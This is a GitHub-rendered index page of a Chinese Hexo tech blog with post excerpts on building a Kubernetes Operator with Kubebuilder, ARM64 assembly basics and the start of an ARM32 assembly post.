-
Notifications
You must be signed in to change notification settings - Fork 3
/
index.html
1303 lines (910 loc) · 190 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 6.1.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/[email protected]/css/all.min.css" integrity="sha256-DfWjNxDkM94fVBWx1H5BMMp0Zq7luBlV8QRcSES7s+0=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">
<script class="next-config" data-name="main" type="application/json">{"hostname":"yoursite.com","root":"/","images":"/images","scheme":"Pisces","darkmode":false,"version":"8.11.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12},"copycode":false,"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"prism":false,"i18n":{"placeholder":"搜索...","empty":"没有找到任何搜索结果:${query}","hits_time":"找到 ${hits} 个搜索结果(用时 ${time} 毫秒)","hits":"找到 ${hits} 个搜索结果"}}</script><script src="/js/config.js"></script>
<meta property="og:type" content="website">
<meta property="og:title" content="不要说话">
<meta property="og:url" content="http://yoursite.com/index.html">
<meta property="og:site_name" content="不要说话">
<meta property="og:locale" content="zh_CN">
<meta property="article:author" content="D0m021ng">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="http://yoursite.com/">
<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":true,"isPost":false,"lang":"zh-CN","comments":"","permalink":"","path":"index.html","title":""}</script>
<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>不要说话</title>
<noscript>
<link rel="stylesheet" href="/css/noscript.css">
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
<div class="headband"></div>
<main class="main">
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<i class="logo-line"></i>
<h1 class="site-title">不要说话</h1>
<i class="logo-line"></i>
</a>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
</div>
</div>
</div>
<nav class="site-nav">
<ul class="main-menu menu"><li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a></li><li class="menu-item menu-item-categories"><a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a></li>
</ul>
</nav>
</div>
<div class="toggle sidebar-toggle" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
<aside class="sidebar">
<div class="sidebar-inner sidebar-overview-active">
<ul class="sidebar-nav">
<li class="sidebar-nav-toc">
文章目录
</li>
<li class="sidebar-nav-overview">
站点概览
</li>
</ul>
<div class="sidebar-panel-container">
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author site-overview-item animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
<p class="site-author-name" itemprop="name">D0m021ng</p>
<div class="site-description" itemprop="description"></div>
</div>
<div class="site-state-wrap site-overview-item animated">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">28</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">5</span>
<span class="site-state-item-name">分类</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">6</span>
<span class="site-state-item-name">标签</span></a>
</div>
</nav>
</div>
</div>
</div>
</div>
</aside>
<div class="sidebar-dimmer"></div>
</header>
<div class="back-to-top" role="button" aria-label="返回顶部">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
<noscript>
<div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>
<div class="main-inner index posts-expand">
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2021/04/05/Kubernetes/%E4%BD%BF%E7%94%A8Kube-builder%E6%9E%84%E5%BB%BAK8S-Operator/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2021/04/05/Kubernetes/%E4%BD%BF%E7%94%A8Kube-builder%E6%9E%84%E5%BB%BAK8S-Operator/" class="post-title-link" itemprop="url">使用Kube-builder构建K8S Operator</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2021-04-05 09:05:13 / 修改时间:09:10:29" itemprop="dateCreated datePublished" datetime="2021-04-05T09:05:13+00:00">2021-04-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Kubernetes/" itemprop="url" rel="index"><span itemprop="name">Kubernetes</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="1-准备工作"><a href="#1-准备工作" class="headerlink" title="1. 准备工作"></a>1. 准备工作</h3><h3 id="1-1-安装kubebuilder"><a href="#1-1-安装kubebuilder" class="headerlink" title="1.1 安装kubebuilder"></a>1.1 安装kubebuilder</h3><p><a target="_blank" rel="noopener" href="https://github.com/kubernetes-sigs/kubebuilder">https://github.com/kubernetes-sigs/kubebuilder</a></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">os=$(go <span class="built_in">env</span> GOOS)</span><br><span class="line"><span class="built_in">arch</span>=$(go <span class="built_in">env</span> GOARCH)</span><br><span class="line"></span><br><span class="line"><span class="comment"># download kubebuilder and extract it to tmp</span></span><br><span class="line">curl -sL https://go.kubebuilder.io/dl/2.0.0-beta.0/<span class="variable">${os}</span>/<span class="variable">${arch}</span> | tar -xz -C /tmp/</span><br><span class="line"><span class="comment"># move to a long-term location and put it on your path</span></span><br><span class="line"><span class="comment"># (you'll need to set the KUBEBUILDER_ASSETS env var if you put it somewhere else)</span></span><br><span class="line"><span class="built_in">mv</span> /tmp/kubebuilder_2.0.0-beta.0_<span class="variable">${os}</span>_<span class="variable">${arch}</span> /usr/local/kubebuilder</span><br><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$PATH</span>:/usr/local/kubebuilder/bin</span><br></pre></td></tr></table></figure>
<h3 id="1-2-安装kustomize"><a href="#1-2-安装kustomize" class="headerlink" title="1.2 安装kustomize"></a>1.2 安装kustomize</h3><p><a target="_blank" rel="noopener" href="https://github.com/kubernetes-sigs/kustomize/blob/master/docs/INSTALL.md#installation">https://github.com/kubernetes-sigs/kustomize/blob/master/docs/INSTALL.md#installation</a></p>
<h3 id="2-名词解释"><a href="#2-名词解释" class="headerlink" title="2. 名词解释"></a>2. 名词解释</h3><p><code>CRD</code>: 自定义资源定义,Kubernetes中的资源类型。<br><code>CR</code>: <code>Custom Resource</code>,对使用 CRD 创建出来的自定义资源的统称</p>
<h3 id="3-创建Operator项目"><a href="#3-创建Operator项目" class="headerlink" title="3. 创建Operator项目"></a>3. 创建Operator项目</h3><p>首先将使用自动配置创建一个项目,该项目在创建 CR 时不会触发任何资源生成。</p>
<h4 id="3-1-初始化和创建API"><a href="#3-1-初始化和创建API" class="headerlink" title="3.1 初始化和创建API"></a>3.1 初始化和创建API</h4><p>创建的项目路径位于 <code>$GOPATH/src/workspace/operator</code></p>
<p>在项目路径下使用下面的命令初始化项目。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ kubebuilder init --domain app.com</span><br></pre></td></tr></table></figure>
<p>在项目根目录下执行下面的命令创建 API。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$ kubebuilder create api --group webapp --version v1 --kind Guestbook</span><br><span class="line">Create Resource [y/n]</span><br><span class="line">y</span><br><span class="line">Create Controller [y/n]</span><br><span class="line">y</span><br><span class="line">Writing scaffold <span class="keyword">for</span> you to edit...</span><br><span class="line">api/v1/guestbook_types.go</span><br><span class="line">controllers/guestbook_controller.go</span><br><span class="line">Running make:</span><br><span class="line">$ make</span><br><span class="line">go: creating new go.mod: module tmp</span><br><span class="line">go: found sigs.k8s.io/controller-tools/cmd/controller-gen <span class="keyword">in</span> sigs.k8s.io/controller-tools v0.2.5</span><br><span class="line">/Users/dongzezhao/go/bin/controller-gen object:headerFile=<span class="string">"hack/boilerplate.go.txt"</span> paths=<span class="string">"./..."</span></span><br><span class="line">go <span class="built_in">fmt</span> ./...</span><br><span class="line">go vet ./...</span><br><span class="line">go build -o bin/manager main.go</span><br></pre></td></tr></table></figure>
<p>API 创建完成后,在项目根目录下查看目录结构。</p>
<h4 id="3-2-安装CRD"><a href="#3-2-安装CRD" class="headerlink" title="3.2 安装CRD"></a>3.2 安装CRD</h4><p>执行下面的命令安装 CRD</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ make install</span><br><span class="line">go: creating new go.mod: module tmp</span><br><span class="line">go: found sigs.k8s.io/controller-tools/cmd/controller-gen <span class="keyword">in</span> sigs.k8s.io/controller-tools v0.2.5</span><br><span class="line">/Users/dongzezhao/go/bin/controller-gen <span class="string">"crd:trivialVersions=true"</span> rbac:roleName=manager-role webhook paths=<span class="string">"./..."</span> output:crd:artifacts:config=config/crd/bases</span><br><span class="line">kustomize build config/crd > crd.yaml</span><br><span class="line">$ kubectl create -f crd.yaml</span><br></pre></td></tr></table></figure>
<h4 id="3-3-部署-controller"><a href="#3-3-部署-controller" class="headerlink" title="3.3 部署 controller"></a>3.3 部署 controller</h4><p>在开始部署 controller 之前,需要先检查 kubebuilder 自动生成的 YAML 文件。</p>
<p>有两种方式运行 controller:</p>
<ul>
<li>本地运行,用于调试</li>
<li>部署到 Kubernetes 上运行,作为生产使用</li>
</ul>
<h5 id="3-3-1-本地运行-controller"><a href="#3-3-1-本地运行-controller" class="headerlink" title="3.3.1 本地运行 controller"></a>3.3.1 本地运行 controller</h5><p>在本地运行 controller,只需要执行下面的命令。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ make run</span><br></pre></td></tr></table></figure>
<p>将看到 controller 启动和运行时输出。</p>
<h5 id="3-3-2-部署到-Kubernetes-集群上"><a href="#3-3-2-部署到-Kubernetes-集群上" class="headerlink" title="3.3.2 部署到 Kubernetes 集群上"></a>3.3.2 部署到 Kubernetes 集群上</h5><p>执行下面的命令部署 controller 到 Kubernetes 上,这一步将会在本地构建 controller 的镜像,并推送到 DockerHub 上,然后在 Kubernetes 上部署 Deployment 资源。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">make docker-build docker-push IMG=jimmysong/kubebuilder-example:latest</span><br><span class="line">make deploy IMG=jimmysong/kubebuilder-example:latest</span><br></pre></td></tr></table></figure>
<p>在初始化项目时,kubebuilder 会自动根据项目名称创建一个 Namespace,如本文中的 <code>kubebuilder-example-system</code>,查看 Deployment 对象和 Pod 资源。</p>
<h4 id="3-4-创建-CR"><a href="#3-4-创建-CR" class="headerlink" title="3.4 创建 CR"></a>3.4 创建 CR</h4><p>Kubebuilder 在初始化项目的时候已生成了示例 CR,执行下面的命令部署 CR。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f config/samples/webapp_v1_guestbook.yaml</span><br></pre></td></tr></table></figure>
<p>执行下面的命令查看新创建的 CR。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ kubectl get guestbooks.webapp.app.com guestbook-sample -o yaml</span><br></pre></td></tr></table></figure>
<p>你将看到类似如下的输出:</p>
<figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">webapp.app.com/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Guestbook</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"> <span class="attr">creationTimestamp:</span> <span class="string">"2021-03-14T04:50:35Z"</span></span><br><span class="line"> <span class="attr">generation:</span> <span class="number">1</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">guestbook-sample</span></span><br><span class="line"> <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"> <span class="attr">resourceVersion:</span> <span class="string">"5900377"</span></span><br><span class="line"> <span class="attr">selfLink:</span> <span class="string">/apis/webapp.app.com/v1/namespaces/default/guestbooks/guestbook-sample</span></span><br><span class="line"> <span class="attr">uid:</span> <span class="number">26161131</span><span class="string">-866f-4db3-9fc2-2fa896fb6124</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"> <span class="attr">foo:</span> <span class="string">bar</span></span><br></pre></td></tr></table></figure>
<p>至此一个基本的 <code>Operator</code> 框架已经创建完成,但这个 <code>Operator</code> 只是修改了 <code>etcd</code> 中的数据而已,实际上什么事情也没做,因为我们没有在 <code>Operator</code> 中的增加业务逻辑。</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/17/Linux/ARM64-%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/03/17/Linux/ARM64-%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80/" class="post-title-link" itemprop="url">ARM64 汇编语言</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-03-17 21:40:32" itemprop="dateCreated datePublished" datetime="2017-03-17T21:40:32+00:00">2017-03-17</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2021-04-05 06:55:28" itemprop="dateModified" datetime="2021-04-05T06:55:28+00:00">2021-04-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Linux/" itemprop="url" rel="index"><span itemprop="name">Linux</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>前面已经介绍过ARM32汇编语言,但是从ARMv8-A开始出现了64位的ARM指令集,因此有必要学习一下64位的ARM指令集。虽然ARM官方将64位的ARM指令集叫做Aarch64,但为了和前面ARM32对比,暂且叫64位的ARM指令集为ARM64。ARM32和ARM64属于两套不同的指令集,在此仅介绍ARM64指令集中的一些改变。</p>
<h3 id="0x01-ARM64汇编中寄存器"><a href="#0x01-ARM64汇编中寄存器" class="headerlink" title="0x01. ARM64汇编中寄存器"></a>0x01. ARM64汇编中寄存器</h3><p>ARM64微处理器中,程序员可以使用31个64位的通用寄存器x0<del>x30,堆栈指针寄存器sp,指令指针寄存器pc。也可以只使用这些通用寄存器中的低32位,即w0</del>w30,wsp。ARM遵循ATPCS规则,ARM64汇编语言函数前8个参数使用x0-x7寄存器(或w0-w7寄存器)传递,多于8个的参数均通过堆栈传递,并且返回值通过x0寄存器(或w0寄存器)返回。在使用软中断进行系统调时,系统调用号通过x8寄存器传递,用svc指令产生软中断,实现从用户模式到管理模式的切换。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov</span> x0, <span class="number">123</span> <span class="comment">// exit code</span></span><br><span class="line"><span class="keyword">mov</span> x8, <span class="number">93</span> <span class="comment">// sys_exit() is at index 93 in kernel functions table</span></span><br><span class="line"><span class="keyword">svc</span> <span class="number">#0</span> <span class="comment">// generate kernel call sys_exit(123);</span></span><br></pre></td></tr></table></figure>
<h3 id="0x02-AMR64汇编语言"><a href="#0x02-AMR64汇编语言" class="headerlink" title="0x02. AMR64汇编语言"></a>0x02. AMR64汇编语言</h3><p>ARM64汇编指令集所有指令的长度固定,每条指令是4字节(32位宽度),并且没有Thumb指令集。</p>
<ol>
<li><p>访存指令<br>ARM32中的LDM、STM、PUSH、POP指令,在ARM64中并不存在。取而代之的是LDP、STP指令,如一般在函数开头用来代替PUSH.<br>例如,用IDA Pro逆向的某个ARM64 SO库函数的开头和结尾:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">STP</span> X24, X23, [<span class="built_in">SP</span>,<span class="symbol">#var_40</span>]!</span><br><span class="line"><span class="symbol">STP</span> X22, X21, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_30]</span><br><span class="line"><span class="symbol">STP</span> X20, X19, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_20]</span><br><span class="line"><span class="symbol">STP</span> X29, X30, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_10]</span><br><span class="line"><span class="keyword">ADD</span> X29, <span class="built_in">SP</span>, <span class="number">#0x40</span>+var_10</span><br><span class="line"><span class="symbol">....</span></span><br><span class="line"><span class="keyword">SUB</span> <span class="built_in">SP</span>, X29, <span class="number">#0x30</span></span><br><span class="line"><span class="symbol">LDP</span> X29, X30, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_120]</span><br><span class="line"><span class="symbol">LDP</span> X20, X19, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_130]</span><br><span class="line"><span class="symbol">LDP</span> X22, X21, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_140]</span><br><span class="line"><span class="symbol">LDP</span> X24, X23, [<span class="built_in">SP</span>+<span class="number">0x150</span>+var_150],<span class="number">#0x40</span></span><br><span class="line"><span class="symbol">RET</span></span><br></pre></td></tr></table></figure></li>
<li><p>跳转指令<br>跳转和链接指令,将PC保存到链接寄存器(BL和BLR)。</p>
</li>
<li><p>ARM64指令<br>ARM32指令集在涉及程序计数器(PC)计算时,由于多流水线的原因,需要加上4或者8的偏移。而ARM64指令集在涉及程序计数器(PC)计算时,不需要加上偏移。能够修改PC的唯一的方式,使用隐式的控制流指令(条件跳转,无条件跳转,异常生成,异常返回)。</p>
</li>
</ol>
<p><strong>PS:</strong> 由于时间关系,没有深入学习ARM64汇编指令集。以后有时间,继续补充本文,2017.03.24。</p>
<h3 id="0x03-参考文献"><a href="#0x03-参考文献" class="headerlink" title="0x03. 参考文献"></a>0x03. 参考文献</h3><p><a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/ARM_architecture">1. Wiki ARM Architecture</a><br><a target="_blank" rel="noopener" href="https://wiki.cdot.senecacollege.ca/wiki/Aarch64_Register_and_Instruction_Quick_Start">2. Aarch64 Register and Instruction Quick Start</a><br><a target="_blank" rel="noopener" href="http://cocoahuke.com/2015/08/30/ARMarch64%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">3. ARMarch64汇编学习笔记</a><br><a target="_blank" rel="noopener" href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0024a/ch05s01.html">4. ARM The Architecture for the Digital World</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/11/Linux/ARM32-%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="D0m021ng">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | 不要说话">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2017/03/11/Linux/ARM32-%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80/" class="post-title-link" itemprop="url">ARM32 汇编语言</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2017-03-11 11:33:18" itemprop="dateCreated datePublished" datetime="2017-03-11T11:33:18+00:00">2017-03-11</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2021-04-05 06:55:49" itemprop="dateModified" datetime="2021-04-05T06:55:49+00:00">2021-04-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/Linux/" itemprop="url" rel="index"><span itemprop="name">Linux</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>最近在学习移动安全,为进行Android系统漏洞挖掘,需要学习ARM汇编语言。现在记录下自己学习ARM32汇编语言的要点与心得,以供参考。</p>
